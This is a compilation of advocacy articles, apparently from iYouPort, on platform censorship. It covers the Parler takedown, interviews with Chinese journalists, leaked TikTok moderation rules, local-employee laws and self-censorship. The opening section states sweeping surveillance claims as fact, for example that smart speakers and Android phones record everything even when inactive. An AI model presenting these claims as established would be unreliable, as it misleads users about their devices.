”私营公司可以做任何他们想做的事。而且他们正在提醒我们这一点。在这样做的同时，他们也在提醒数百万人，可以有一个更好的世界。在这个世界里，没有任何一个人或组织可以支配我们接收什么样的信息。

“没有任何一个人或组织可以选择谁的声音被放大、谁被压制。选择权已经被剥夺，现在被平台创造者垄断 **……** 曾经受人爱戴的科技巨头们正在成为了恶棍。这将导致新的挑战者的崛起。

“这就是科技领域的生活圈。如果你不能影响现状，就去破坏它。而我认为这正是我们此时所需要的。我们可以利用技术把权力从这些垄断者手中夺回来，让用户自己选择消费对象和消费内容”。

社交媒体大清洗

「图」

Parler 并不是唯一一个在2021年初遭遇噩梦的人，与此同时还有社交媒体大清洗，2021年1月7日和8日，一长串保守派人士被永久禁止使用 Twitter、Facebook 和 Instagram。根据一些报道，Twitter 在那个周末的清理行动中封锁了超过**7**万个账户。

【注：这次大清洗封锁的绝对不仅仅是保守派，IYP只关注了45个账户，其中就有一个账户被封锁，那是一位英国的技术工程师，开源自由软件捍卫者，他是最快速的技术新闻和部分政治新闻来源。我们无法了解还有多少其他账户被封锁，但仅此一个例子就足够证明，“按照意识形态”审查的观点有可能是错误的。】

正如 GLenn 指出的，在谷歌、苹果和推特平台上策划的暴力和破坏的程度成倍增加，但却从未对这些巨头平台提出指控。

审查制度从来都不是针对特定群体的，最终它绝对适用于任何被认为对统治阶级有威胁的事物 —— 这就是为什么我们说《极少数人对多数人的嘴巴所做的事，不会让您获得幸免》。

📌所以，在您等待一个去中心化的、无审查制度的新互联网出现的过程中，您必需做点什么来保护自己的隐私人权和言论自由的权利。这里有一些建议：

从Facebook和Twitter切换到自由言论的替代品，在这里看到一些替代品选项《安全工具箱补充版：分类工具列表（2）》，包括 Gab, MeWe, Minds；

从 YouTube 切换到未经审查的替代品，如 Bitchute、Brighteon、Banned.video 和 Thinkspot；

下载 Signal 来加密你的通信。请注意，Telegram 的频道是它唯一可推荐的功能。在使用 Signal 时一定要遵守《安全准则》！

在你的台式机、笔记本电脑和移动设备上使用加密VPN来保护隐私。

对于由于审查而不再有社交媒体存在的内容创作者和独立新闻来源，订阅他们的通讯，使用RSS，或者更简单地使用您的收藏夹，并定期查阅。

停止使用谷歌搜索引擎。替代品包括 DuckDuckGo 和 SwissCows —— 不要错过《所有谷歌服务的替代品》。

卸载谷歌Chrome浏览器，改用Brave，适用于所有电脑和移动设备。

切换到非谷歌的电子邮件服务，加密你的邮件。

不要使用 Google Home 设备。这些设备会记录家中发生的一切，包括语音和声音，如刷牙、烧水等，即使未激活它也会将这些信息发回

给谷歌。安卓手机也一直在监听和记录，谷歌的家庭恒温器 Nest、亚马逊的 Alexa 也都是如此。在我们的专栏 “智能/间谍家居” 中看到更多介绍。

抛弃 Fitbit，因为它最近被谷歌收购了，除了谷歌已经掌握的其他一切信息外，它还会向他们提供你所有的生理信息和活动水平。

最后

「图」

非常感谢所有数字权利活动家、权利组织、言论自由捍卫者们对审查的抨击，包括 GreatFire，推荐您阅读他们的博客文章《On Process and Precedent: What the Removal of Parler Tells Us About Apple’s Unilateral Power》。

但是，要真正做到反审查反监视，仅仅抨击和声援是不够的，这必须是一场致力于变革的运动；还记得我们介绍过的推动变革的4个必不可少的角色吗？见《您天生适合在社会变革中扮演什么角色？：行动主义（9）》，这4个角色是：倡导者、帮助者、组织者、和反叛者：

- 上述加入谴责批判的活动家组织和言论自由捍卫者都是 “倡导者” 角色；
- 现在我们需要 “帮助者” —— 帮助人们学会摆脱寡头统治的技术方法，学会使用上述介绍的替代品；
- 我们还需要 “组织者” —— 将那些反抗者和审查监视的受害者、以及致力于变革的开发者组织起来，形成我们自己的社区，并行于垄断体制独立存活；
- 尤其是，我们非常需要 “反叛者” —— 反叛者是直接行动的先锋队，他们将不断开发新的和更好的替代品，为人们找到出路。

仅仅呼吁 deleteFacebook/Twitter 是不够的，如果我们没有自己的开源去中心化自由平台替代品并且让它好用，再强烈的呼吁恐怕也无法奏效。我们去年讲述过这个道理，见《为什么动员人们离开寡头服务会失败》。

这绝不是一件容易的事，第一步就是，我们可能会栽倒到钱上 —— 如果我们没有足够的钱、无法维护一个稳定的技术社区为替代品提供持续和高水平的服务，我们的替代品依旧难以打破寡头的垄断。在这里看到我们可能会遇到的所有问题《技术是愚蠢的—这就是为什么您

应该格外小心》，这不仅是解释问题的文章，也是一份倡导手册，希望帮助更多人了解该怎么做以保护自己。

如果您有好的反监视资本主义新项目的想法，或者能有效改进现有的安全性技术的想法，欢迎和我们联系，也许我们能帮您找到开发资金。

不论如何，我们应该从倡导开始，让更多人意识到紧迫性，意识到除非直接行动，否则无法解决问题。

最后，推荐订阅 Glenn Greenwald 的独立媒体平台，他也是审查的受害者，而他现在可以直言不讳地说出一切了。如果您和我们一样想听真话，它是您值得订阅的渠道之一。和所有独立媒体和对抗寡头的技术开发一样，他们需要您和我的支持才能存活下来。〇

How Silicon Valley, in a Show of Monopolistic Force, Destroyed Parler

原文

Six Fragments Sketch The Dark Side Of ‘Chinese Media Workers’ - iYouPort

关于中国社会审查和自我审查-民主的支柱是如何歪掉的

The most terrible thing about it is not that it breaks one’s heart—hearts are made to be broken—but that it turns one’s heart to stone

「图」

「图」

Fragment 1

“Bring home the bacon first, it’s the most important thing ,” he said six times in less than 10 minutes of conversation.

A senior employee laid off from the traditional media, with the burning love of working for the welfare of his old counterparts, set up an intermediation service to recommend everyone to join in the media group. His self-introduction was vague, except for things like”get rich again and make a fortune together”, which made me a little interested in his business.

In a private conversation he told me, “We mainly write articles to serve the industry,” he said. Is that soft sell? I asked.

Not necessarily, the kind someone pays to write, and I don’t object to you calling it a soft sell. Another is industry observation and analysis, which can be said to be independent and”ensures your freedom of opinion,” he explains, and wants me to send him a look at similar articles I’ve written about. I sent him “What the hell Apple sells.”

He read it with displeasure: “You can’t criticize like that yet, it’s going to get you in trouble. You know, the giants have strong public

relations, lots of money and strong backstage, they can't be offended. Chinese companies and foreign companies coming into China can't be offended if you want to survive." By the way, warn me: Remember, you're just a writer, don't give yourself a hard time.

He told me that he wanted to help everyone "transform". Traditional media is facing a reshuffle, as you've probably heard, and all that ends up is newspapers and magazines with government departments as regular subscribers. The rest will be out. While many traditional paper media are using their last moments to try to curry favor with the government, hoping to be in the subscribing circle, it's probably useless. "The government is not going to be easily to trust, there are so many media, so why are there only a few of them who have been able to enjoy the inside channel? The idealists are just afraid to admit the reality"…" We have to start early, we can't just waiting and starving to death," he said.

"How to get a better second or third job is the key issue. It's our strength to work with pens. Whether it's Party A, B or the media, or the market, or the brand, we have a lot of demand here," he said. "It's what everyone does, so there's no explanation, you can understand it. It's useless to write well, if no one recommends it, you can't live on your own."

I am a bit puzzled, is not the work of the media supervising and exposure? If the result of the "transformation" is the reversal of the original function of the newsmedia, how many people can quickly adapt to this completely reverse change?

He laughed. "You think people in office are supervising the power? Stop kidding, everyone is making living, never mess with people who can break your job. It's about survival. People have 10,000 ways to make themselves comfortable, winners," he said, stressing in particular: "We are simply continuing the philosophy of survival that all our peers have always had, by making it more effective and rewarding for those who can master this philosophy of survival. What is justice? If there is no source of income, everything is bullshit."

"Our side also some old media workers are more affectionate, always like to reason with others, hehe, when he was too hungry to

lift his head to come, see what he has the strength to reason…", "We are doing good deeds and serving our old counterparts,"he said. "Although the old ones are probably the worst. Every year a large number of graduates, children who haven't been around much are very obedient and make it easy to do whatever we want, and the cost of recruiting new people is very low, but why didn't we do that? It's not because we care about the old ones!"

He told me that in China you can make a living and even living very well just by writing, but only you can know it is as well to know which way the wind blows, doing things in a slick way, instead of just being yourself, or you will starve to death or even go to jail for writing.

"Don't discuss social issues online, especially politics, or you won't be able to find a job in China," he advised me. "Everyone can see what you're saying. Bosses who want to hire don't want to hire a troublemaker."

Fragment 2

"I just want to hurry up and scrape together enough money to buy a house, get a decent wife and have a carefree second half," he said.

Your present girlfriend is very nice, beautiful and talented, I said.

"Here's the trouble. Because she's so good at it, if my position doesn't overwhelm her, I'm sure to get angry in the future. She doesn't like my job anymore," he said.

You are also regarded as the official media, the official media are very rich, I understand this.

"The problem is that she's in the official press, and the leaders like her, and I can't just pursue equality with her so she will not respect me. I need to be in a national media, not about salary, but status, and I need to see the kind of euphoria she gets when she introduces me to friends," he said.

Euphoria?

"Yeah, my classmate in the United States is also an acquaintance of

hers, now in the national media, and a small leader, she is this kind of excited expression when she introduces my classmate to others. I have been with her for more than three years, three years, never enjoyed her expression, like when she got a new BMW to take a picture and upload to the social media, like the glory was her own. I'm going to take that honor out and it belongs to me."

I don't feel national media is glory, sorry I speak more bluntly.

"I don't think so, but my girlfriend think so. Almost everyone you know in society thinks so, so it has to be. Where does your glory come from? It is from other people. Other people's values determine what kind of person you are. We are not free to control that."

Fragment 3

"I don't know what I'm doing right now. It's writing? It's a special performance, show it to the leader? You see, I'm working, and it turns out, nothing's coming out," he said. "This time there were three, two were removed, and the score was almost gone."

The censorship criteria are vague, the blurrier is the censorship, the narrower is the space left, the problem is the censorship itself. It should not exist.

"Who said it was not? The problem is that this is getting worse and worse, in the past, the *red line* is still relatively clear, everyone knows what we can say or not, but now, good, no one is willing to take the fucking responsibility, it has been a football gaming. The manuscripts sent up to the Weekly, and it did not dare to approve, sent to the Xinhua News Agency for censorship, Xinhua is not sure, and then sent to the Ministry of Foreign Affairs for censorship, the Ministry of Foreign Affairs ignored, and to let Xinhua to decide, and then the Xinhua News Agency said that the Weekly do whatever you want… More than a week later, the hot spots have passed, until now the manuscript is still here, no one dares to make up his mind!

This… seems like an exaggeration.

"It is no exaggeration, this is our reality, our almost all life. Busy to death, you can not see the manuscript published, I asked the leader

how to do? he said, then kick, then kick a round, continue to censorship."

Terrible. I have read your work, a very pertinent point of view, more comprehensive observation, such a draft can not be sent out is a great pity.

"It's not just me, it's happening to everybody. We're like puppets in a big farce, knowing it's a farce, but we can't run away, we can't even laugh, we have to be led by a thread, we're forced to perform, we're forced to make it bigger."

I mean, you can choose to contribute to the overseas media. In line with the principle of not demeaning your work, at least…

He laughed. "You are a foreigner, you foreigners do not understand the Chinese rules. You take the Chinese media wages, to foreign media contributions, which is called eating then smashing the pot. yes, you may be able to use anonymity or pseudonym, but what is the point? Not only does no one know that you wrote it, but in case anyone does, your side of the job is gone, and there's no way you'll ever find another decent job in China again. It's not worth taking the rest of your life for a manuscript, isn't it?"

He was silent. After a long time suddenly said, "Do you know any psychological test can judge a person's endurance?"

Fragment 4

"Did you hear about a new crackdown? I just finished reading the story about VPN ban and my Shadowsocks couldn't get connected. It's like nightmares," she asked me.

Is has always been said to crakdown, in the future will only be more strict. Aren't you working on international news? The working unit should be equipped with VPN or other tools to get over the internet blockade, isn't this the basic work needs?

"No, no VPN, no one dares to ask for this. They do not admit that is a need for work, although they do not care whether we are get over the internet blockade, now the topic seletion has been more and

more tightly, and everything about China is not allowed to say, but the problem is that it's the leaders to decide if it is about China, they pick a topic and don't care if you can get over the GFW and find out about it.

Everyone help each other, there must be technical colleagues.

"Yes, there is, can only be used to fix computers, the getting over of GFW is kind of thing that everyone knows, but no one will talk about this. You can not know who is the leader's confidant, which one is a whistle. Yes, it is not guilty to get over the GFW, it's a need to work, but that is usually, in case one day you have offended the leaders, but can not criticize you on the matter, such a small plait of getting over the GFW will come in handy."

This… too thrilling to live it.

"Who said not, not just our woking unit, but society as a whole. People actually know everything, but no one tells you, no one wants to talk to you about things you're interested in, even though they're all interested. Just gawking and pretending all day long."

Why trust me?

"You're a foreigner, ha, you don't exist in any of the profit chains that affect me," she said.

Fragment 5

"I really envy you for being able to deconstruct a subject, it's too difficult for me" he said.

He moved from online to print media, a path contrary to that of most of his peers. I once asked him why, and his answer was surprising: "To be able to think. The online media, with its shallow tenet and as its principle, can't tolerate any thinking at all. We are European style for deep connotation, and can't stand all that nonsense, didn't expect…"

Did not expect what? The print medium is relatively better, can dig the topic a little deeper?

“I used to think so. But now I understand that I am catching up with the nationalization of online media, and now superficial is the need of survival of all Chinese media, whether traditional or online, playing dumb is the basic skill. That is to say, not many people are really stupid, at least around me, we just do not say. The leadership instructions will always come first. Of course, slowly and we become really silly, like frogs at the bottom for few years will turn gray.”

What do you mean?

“That means the deeper you dig, the quicker you die. Thinking too much is a stinky disease, a deadly cancer that not only lets leaders see you as threatening, start figuring out how to make you stupid, but also arouses jealousy among colleagues around you. Being in the limelight is never a good idea in China.”

Leaders like shallow things?

“They would not say that. For example, the manuscript I sent last time, was denied. The reason is not the choice of topics, nor views, but… several reviewers said that they can not understand! They also taught me that it’s too academic, I should write what ordinary people can read, close to people! People can understand Huanzhugege, you can go for Qiongyao, why hiring me?”

Haha, the level of reviewers is too low for it.

“Yeah, they don’t think the reader can read it. It’s the usual, it’s not what happens to me or a few people. That’s why you look like the whole Chinese content market is shallow and stupid from the outside. Because the unstupid are dead.”

Forced to play dumb.

“Every time you have a selection meeting, you either don’t do depth, or you feel like you’re going to get denied, or you just have to ask an expert to write. But if you just don’t write personally, performance score doesn’t go up. It’s embarrassing. So then I said to another great colleague,”Why don’t we just get out of politics and write something about technology to get rid of the boredom?”

The experts wrote that they don't deny?

"Basically don't, the author's name, big-name is an indicator of correctness, but the article must not have bogey things, of course, now those experts can not write anything bogey, they have been obedient very much. there were a number of quite intelligent here, now completely stupid, or pretending to be a pure degeneration."

Market ecology is also a problem. As Director Feng Xiaogang once said "the junk viewers", junk works get market acclaim and click volume is impressive, and you can hardly argue that depth is valuable.

"To tell you the truth, what I've written all these years back home is not as valuable as what we had in our dorm when we were studying in the UK. It's really a place to think. The only place I've ever been able to think. So I envy you. At least you don't care about the market, you don't have stupid censors staring and you can write what you want based on your knowledge."

We can only write. Well, you know, we don't have the funds, we don't have the competitive remuneration like your magazine.

"Haha, I got a litte bit balanced. Just a little," he said.

Innovation of paper media must not become an imitator of online media. Although the Internet age has an era of iconic ways of thinking, the preservation of standards and depth is still the responsibility of print media. Newspaper in the near future will become a luxury, collectables, will be the enjoyment of high class people, you should have this awareness.

"Yeah, I can only practice writing in private now, like a thief."

Do you think what the examiners call "pro-people"comes from Xi Jinping's propositions, the so-called "take-change-change (take the grass roots, change the style of work and change the style of writing)"? Is it related to that?

"I cannot, dude, let's get off the topic."

Fragment 6

“Today we got a hand-written list of more than 200 people to clear as the pernicious vestiges”… from Bo to Sun, from the state to the local level, from the big guy to the small secretary, all in the list.

When the head of the Soviet secret police, Interior Minister Beria, was dismissed and executed, all information about him, the entries that positively described him, were removed from the encyclopedia by the authorities, as if the man did not exist in the history of the Soviet Union.

“There’s more and more weird going on, and each of you sent out a printed document the other day. You can’t guess what it was. It was Steve Bannon’s speech! It was bilingual, both Chinese and English, and we were told to dig deep into Comrade Bannon’s thoughts. And you were told that don’t to read foreign media’s nonsense…”

This one, it seems illogical.

“Everywhere is illogical. Formerly meetings were only attended by party members, but now they are basically expanded, bringing in all non-party members and learning together… it is very strange, you can only feel strange, dare not say why.”

“Recently, the loyal guys in our working unit has become more and more interesting, the Facebook scandal, the data totalitarianism finally appears on the party media, it is really funny, let a bunch of guys who praising the totalitarianism to report about totalitarianism. How absurd.”

Presumably they probably don’t understand digital totalitarianism.

“Sure. Most of the topics we have here are content-oriented, their taste is from the Stone Age, not to exaggerate at all. Something happened, then talk about it, repeat this process over and over again, cliches only. No one wants to read this, you can got our magazine to put the table up for free while you eat. But we have to do this or we don’t have a job. We’re taxpayers’ pets. Taxpayers are forced to keep us.

Sounds pretty slack.

“Bored to death yet. Now I spend 60% of my working time reading foreign media columns, waiting for off . Then listen to what the leader preach, what main theme should be promoted, to focus on the mainstream group of the West to promote our values… Our values are closing your eyes and listen to leaders’ instructions, do you mean to promote that?”

Haha, the CCP’s anti-American ideology.

“Do you know how excited the party members here were during the hottest days of the trade war? They, like their leaders, were eager to fight, which was better for manipulating nationalism. Their headline was barely distinguishable from Maoist leftist website and covered their face in chicken blood…. Sadly that group of non-party members followed, what are the benefits of a trade war for Chinese human rights? How much impact will it have? Nothing, except to let the adrenaline of those nationalists go off the scale.

I thought you weren’t going to say that.

“I don’t know. You’re not so scared when the traps are everywhere. Sooner or later you’re going to fall in, no-mater who, that’s what I am. The self-criticism we used to have at work was just verbal, and now it’s going to be written down, and everyone has to hand it in regularly to review their disloyalty to the party today… In case of movement in the future, these things are irrefutable proof, to prove your guilt!.. very stressful, if one person does not write, others have written, then the pressure on this person, you know. Very terrible. I already want to change a job.”

Foreign media may be considered.

“No. Do you think foreign media will be free? Today we are organizing listening to the speech of Xi, I’m watching twitter, and found that the Wall Street Journal, the New York Times and other major media in China are also listening the speech! Haha, they are going to learn about China through the CCTV speech? How stupid is this! They are useless for the Chinese people, they just select China as a topic, just like we select the USA as a topic, nothing different. These foreign media can’t solve anything, and I’m afraid they have little interest in solving the problem. Beijing is enjoying the

dividends of self-enclosed, while the common people are viewing the foreign media as gods and viewing us as fools. In the future, if it were democracy, we might be….. would it be?

I don’t know. 广告

原文

TikTok 如何促进中国的外交政策目标 - iYouPort

审查和自我审查-民主的支柱是如何歪掉的

10亿美元并购美国公司 Musical.ly；又花了10亿美元在美国巨头 Facebook 上做广告；TikTok（抖音）一掷千金的目标是把中国的政治审查推向世界？

「图」

「图」

泄露的文件详细介绍了该网站的审查指南，关于这家中国人拥有的社交网站 TikTok 指示其版主审查涉及天安门广场、西藏独立或被禁止的宗教团体法轮功的视频。

卫报首次披露的文件阐明了拥有 TikTok 的总部位于北京的科技公司 ByteDance 如何通过该应用程序推进中国的对外政策目标。

越来越多的审查是出于政治原因，有关香港抗议的讨论也正在 TikTok 受到审查：华盛顿邮报的一篇报道指出，在抖音搜索香港显示“几乎看不到抗议的迹象”。

该审查指南将禁止使用的材料分为两类：某些内容被标记为“违规”，这表示该内容已从网站中完全删除，并可能导致用户被禁止使用该服务。

另一种是，较小的违规行为被标记为“仅对发布者自己可见”，这将保留内容，但是通过 TikTok 的算法限制了内容的分发。

- 《算法专制》
- 《算法殖民：从不知所云的流行语到金钱驱动的流行病》
- 《媒体巨头和硅谷的武器化算法沉默异议》
- 《你正在如何被操纵：这是每个人都难以躲避的无形专制【video】》

后一种实施技术 —— 即 算法专制 —— 意味着用户可能不知道自己发布的内容是否已经被删除，他们会误认为自己的帖子“没有足够的影响力”，才导致无人回应。

大部分审查指导方针都包含在“仇恨言论和宗教”一节中。在每种情况下，都将它们放在旨在使规则看起来通用而不是特例的上下文中。

例如，禁止对中国的社会主义制度进行批评的一般禁令原文是这样的“：“禁止对任何政策、任何国家的社会规则（例如君主立宪制、君主制、议会制、三权分立、社会主义制度等）进行批评/攻击”。

另一个禁令包括 “禁止对本国或其他国家历史的妖魔化或扭曲，例如1998年5月的印度尼西亚暴动、柬埔寨的种族灭绝、天安门事件等。”

更具通用性的规则禁止 “极富争议的话题，例如分裂主义、宗教派别冲突、族群之间的冲突，例如夸大伊斯兰教派冲突，煽动北爱尔兰、车臣共和国、西藏和台湾的独立、以及夸大黑人和白人之间的冲突”。

以上所有所谓的违规行为都会导致帖子被标记为“仅对发布者自己可见”。

但是，宣传法轮功的帖子被标记为“违反规则”。法轮功自1999年以来一直受到北京的镇压，但自2001年以来发生的一次事件，当时有五人在天安门广场自焚，那之后该组织一直被禁止。

奇怪的规则也可以在该审查指南的其他地方找到。

例如，该服务关于所谓 “未成年人色情内容” 的政策明确规定了四类未成年人用户：一岁以下的婴儿； 1–8岁的孩子; 青春期未成年人; 未满18岁的任何人。

但是，如果“不清楚”用户是否未满18岁，则指南明确建议版主“作为成年人对待”。

该服务还禁止20名“外国领导人或敏感人物”的特定名单，包括金正日，金日成，圣雄甘地，弗拉基米尔·普京，唐纳德·特朗普，巴拉克·奥巴马，金正恩，安倍晋三，朴槿惠，佐科·维多多和纳伦德拉·莫迪。

名单上显然没有的是中国国家主席习近平。很可能因为中国官方也使用该平台进行政治宣传。

Bytedance 说，《卫报》看到的文件版本已于5月作废，当时香港抗议活动还没有开始，目前的准则并未提及具体的国家或问题。

该公司说："在 TikTok 成立之初，我们采取了一种直率的方法来最大程度地减少平台上的冲突，并且我们的审核准则允许对诸如煽动宗教派别或族裔群体之类的冲突的内容进行处罚 ……

"随着 TikTok 去年开始在全球范围内流行，我们认识到这不是正确的方法，并开始致力于增强对每个市场都有细微了解的本地[审查]团队。随着我们的成长，我们已经在产品、团队、政策制定等各个方面实施了这种本地化方法 ……

"有问题的旧指南已过时，不再使用。今天，我们采用了本地化的方法，包括本地版主、本地内容和审核策略，全局策略的本地优化等等。"

所谓的本地化，就是硅谷的口头禅："我们在遵守当地法律"。

TikTok 于2017年推出，不久就与一家美国公司 Musical.ly 合并，据报道并购价格10亿美元（8亿英镑），以促进该应用程序的增长。

类似的，仅在中国使用的应用程序 Douyin 于2016年推出，到2017年底，用户人数增加到全中国人口的十分之一。

TikTok 是2018年上半年全球 iOS App Store 上下载次数最多的商品，自那以来一直在其特别是25岁以下的核心用户群中广受欢迎。

但是这种受欢迎程度是昂贵的：据报道，**ByteDance** 已经在 **Facebook** 广告上花费了"10亿美元"，以保持高增长。〇

Revealed: how TikTok censors videos that do not please Beijing

广告

原文

世界各地的政府都想要求互联网公司雇佣本地雇员，以方便把人关进监狱 - iyouport

你应该了解的现实审查和自我审查-民主的支柱是如何歪掉的

在外国公司的平台上就能自由发言了吗？不，因为他们已经立法劫持人质

“某国就这样做了，我们也应该这样做” …… 你经常能听到这句话的各种版本，既包括中国声称的 “美国也有”，也包括土耳其声称的 “德国也有”；而现在，它又演变出了一种新的形式 ……

2002年 Techdirt 就发布过一篇文章，提出了在无边界的互联网上如何执行各国当地法律的问题。

当然，这并不意味着各个国家没有尝试过—— 他们要么试图发布全球禁令，要么走得更极端。一个首选的想法就是：把碰巧在当权者希望封锁内容的国家的公司雇员关进监狱。多年来，人们已经看到这种情况在意大利、巴西和最近的印度发生（或试图发生）。

对许多公司来说，处理这种情况的最好办法是避免在那些可能发生这种威胁的国家招聘任何员工。例如，谷歌将员工撤出俄罗斯是有原因的。

但是，现在，各个国家似乎都喜欢把那些不听话的互联网公司的员工随便关进监狱，他们正在着手通过法律，要求如果一个公司想在那个国家运营，就必须有当地员工。

在许多情况下，这些似乎是相当透明的尝试，以确保政府有人质握在手里，如果该公司不按其领导人的意愿审查删帖，该国领导人就可以威胁要将其员工关进监狱。

这方面特别邪恶的是，这些普遍的专制国家能够以其他国家（主要是欧洲国家）要求数据本地化的法律的同样理由，为上述那些员工本地化法律 “辩护”，说当地公民的数据需要保存在该国境内，以保护他们的信息免于—— 例如—— 美国国安局的窥视。

如果您尚未理解这件事，可参见《所有信息都是战略性的：信息地缘政治》；中国也是其中一员，要求数据“必需保存在本地”，现在全世界都在这样做，这里是对此的详细分析《真正能打破墙的东西可能不是梯子：巴尔干化和互联网的未来》。

比如，要求国内代表和本地数据存储的立法在德国已经存在，其目的声称是要解决所谓的仇恨言论等问题。但是专家指出，在那些有打击互联网自由历史的国家，类似的法律都被用来恐吓或威胁社交媒体公司的员工。巴西、波兰、印度、土耳其、越南和巴基斯坦都已经制定或正在考虑制定这些法规，并可能进一步侵蚀世界各地的互联网自由表达。推特将一名印度政府官员的推文标记为“被操纵的媒体”后，印度警方突袭了推特办公室

促进网络自由表达的组织“全球网络倡议”（Global Network Initiative）的政策主管杰森·皮勒梅尔（Jason Pielemeier）给这些法规起了个绰号：“劫持人质法”，因为如果社交媒体平台的工作人员拒绝接受政府的命令去删帖，他们就可能会被用来拘留。

“我认为这不太可能是关于威胁要射杀某人”，Pielemeier说，“更多的是关于‘我们要剥夺他们的自由’”。

“全球网络倡议”文章详细说明了这些法律到底有多粗略 —— 尤其是，这些国家是如何试图为它们“辩护”的，说它们与德国等国家的数据本地化或内容控制法律没有区别。

土耳其立法者通过指出德国的类似法规来帮助证明其本国法律的合理性，尽管 Acdeniz 认为该国事实上是在借鉴俄罗斯的做法，俄罗斯最近在大规模抗议后对推特进行了限制。德国臭名昭著的《网络执法法》（NetzDG）于2017年首次通过，迫使社交媒体公司迅速删除所谓的非法内容，否则将面临巨额罚款。与目前正在考虑的许多法律一样，它也要求在德国拥有超过**200**万用户的社交媒体平台任命一名德国本地代表。“为了说服像土耳其这样的国家的人可以声称‘我们只是在做德国在做的事’”，Acdeniz 说。

根据人权智库 Justitia 的一份报告，在过去的几年里，一些国家利用 NetzDG 作为他们自己努力遏制网络自由的灵感。Justitia 的创始人、该报告的共同作者雅各布·姆昌加马(Jacob Mchangama)写道：“在一场全球言论自由的竞赛中，**NetzDG** 矩阵已被专制国家复制，为数字审查和镇压提供掩护和合法性”。

这真的很重要—— 特别是当下，美国人正在推动这样的信息：既然

其他国家有更严格的内容审查法，那么在美国审查控制内容就没有问题。别忘了去年发表于主流媒体的这篇文章《美国“需要”像中国那样的互联网审查》。

这忽视了政府是如何使用和滥用这些法律来封杀重要和有价值的言论的—— 通常都是反抗者批评政府的言论。〇

Governments Around The World Want To Require Local Employees Of Internet Firms, So They Have People To Jail

相关

「图」

原文

为什么说自我审查不是简单的恐惧而是更大问题的冰山一角？ - iYouPort

为什么审查和自我审查-民主的支柱是如何歪掉的

它会干扰你的认知和判断力，牵着你去捕捉那些能证实自己的焦虑“确切无疑”的只言片语，你不再能察觉大局，看不到抵御空间和可利用来反抗的东西。这就是吓唬你的人最想要的状态。

「图」

「图」

总有人会把恐惧当成焦虑的同义词来使用，表面上看似乎也有道理，这俩东西的确有亲缘关系，都是之于危险的情绪反应，都伴随着生理感觉，比如颤抖、出汗、剧烈心跳、总是说一些偏执的话等等。不过焦虑和恐惧并不是完全一样的。

举个例子，比如一位业余开发vpn的网友被抓了，虽然你不知道他被抓的原因与开发vpn有几成关系，但你依旧担心自己研究或传播vpn也会被抓，这种感觉称为焦虑；如果你认识的开发或传播vpn的人都被抓了，此时你担心自己传播vpn也会被抓，这种感觉就叫恐惧。

由此见，大家平时说到自我审查、自我维稳的时候，经常使用恐惧来形容就是错的，至少在精神分析层面上肯定是不考究的，它应该叫焦虑。

「图」

「图」

简单下个定义吧：恐惧指的是面对危险的时候的正当反应，比如门口有人喊查水表，你透过门镜看到一群全副武装的条子，那个时候你的感觉叫恐惧；焦虑指的是对于危险的不适当反应，或者说对假想出来的危险的反应、过度的反应，比如有人因为发帖被抓了，你就去告诉

自己的朋友和熟人“小心说话、莫谈国事”，甚至把关心政治的人踢出群聊，这就是焦虑。

如果你是法国大革命时期的革命党人、两蒋时期的台湾人，你遭遇白色恐怖时的情绪可以描述为恐惧，如果你是中国文革时期的大学教授，遭遇红色恐怖时的情绪也属于恐惧，但如果你是当下一名网络时政关注者，认为“中国是极权国家、没有反抗空间只能等死”，那就是焦虑。

别着急，我知道这事儿争议很大，任何一个处于自我维稳状态的中国人都不会承认自己有神经症焦虑，他可以给你举出甚多例子来证明他的担忧是现实的。就如同你去劝说原始人不用担心天崩地裂该干嘛干嘛，他们也会抱有同样的态度。

恐惧和焦虑都是对危险的反应，但恐惧指向的危险是清晰且客观的，而焦虑指向的危险是隐蔽的且主观的。也就是说，如果你想通过辩论让一个神经症患者摆脱焦虑，基本是徒劳，因为这种焦虑与现实中真实的情境关系不大，它是个心态问题，如果你真心想帮忙，最好先找出具体情境对他的特殊意义所在。

长期焦虑是很耽误学习和工作的，包括思考和行动，它会干扰你的认知和判断力，牵着你去捕捉那些能证实自己的焦虑“确切无疑”的只言片语，你不再能察觉大局，看不到抵御空间和可利用来反抗的东西。这就是吓唬你的人最想要的状态。

实际上，每个人都在想尽办法逃离焦虑，很明显它是个折磨人的玩意。焦虑情绪中有很多让人无法忍受的东西，其中之一就是无助感。一个人完全可以积极勇敢的面对很多危险，积极的心态很重要，因为只要你活着，危险就不可能彻底排除。但在焦虑状态下会几乎完全被孤立无助所吞没。尤其是对那些有明显掌控欲、或者需要保持权威形象的人来说，无助会更为明显的加强焦虑感，因为他们在极力掩饰无助，唯恐自己流露出软弱和胆怯，那是种被称为失态的东西。

「图」

「图」

一般来说有四种逃避焦虑的途径：合理化、否定、麻痹和回避。逐一分析下

第一种途径合理化是逃避责任的最佳解释，它将焦虑转变成合理的恐

惧。这种转换如果不考虑其心理价值几乎不具有任何益处。“最近不是有人因为发了个帖子就被抓了吗？某人不是穿了件T恤拍照就进监狱了吗？隔壁群传个新闻就被封了，我这样担心不是完全处于自我保护吗？”

这种对于非理性态度的强力辩护，当事人会觉得自己的态度完全正当且合理，而不是出于某种非理性的情绪。他坚信自己什么都做不了，除了坚持焦虑，并且会设法从这种坚持中获得“好处”。这个原理适用于所有认为焦虑是合理恐惧的倾向。

逃避焦虑的第二种途径是否认焦虑的存在。其实这种途径只是把焦虑排斥在意识之外，这时随之而来的就是恐惧或焦虑的生理反应了——两腿发抖手心冒汗，但强作镇定。当我们害怕和觉察到恐惧时也许会面临所有那些糟糕的心理感受和生理反应，因为人需要借此释放被压抑着的焦虑。

这个结果也许有其现实意义，在增强自尊方面也可能有一定的心理意义。但由于此类结果的意义往往会被高估，因而有必要指出它消极的一面：他们的人格基本动力一成不变、人格障碍的显性表现被消除的同时也意味着失去了促使问题获得彻底解决的刺激物。

一开始你能还看到抱怨，虽然没有什么反抗，后来抱怨都没了，光剩下闷声发大财了，就是这么闹出来的。

第三种逃避焦虑的途径是麻痹。这个途径可能是有意识制造的，甚至可能依靠酗酒或嗑药来实现。俄罗斯媒体偶尔会发布一些所谓的调查数据，试图反驳外界称俄罗斯人酗酒严重的说法，你觉得这属于闲的难受吗，或许不是，他们有可能是在掩饰社会型焦虑的爆发。

然而还有很多关联并不明显的方式，其中典型之一是出于对孤单的惧怕而投身社交活动，无论是确凿的害怕还是隐约的不自在，反正内心并不是甘愿的，这样就会处于一种自己折磨自己的感觉中。对于当下的数字时代来说，这种方式几乎可以称作是时代症状，如果你感兴趣的话我将来可能会详细写。

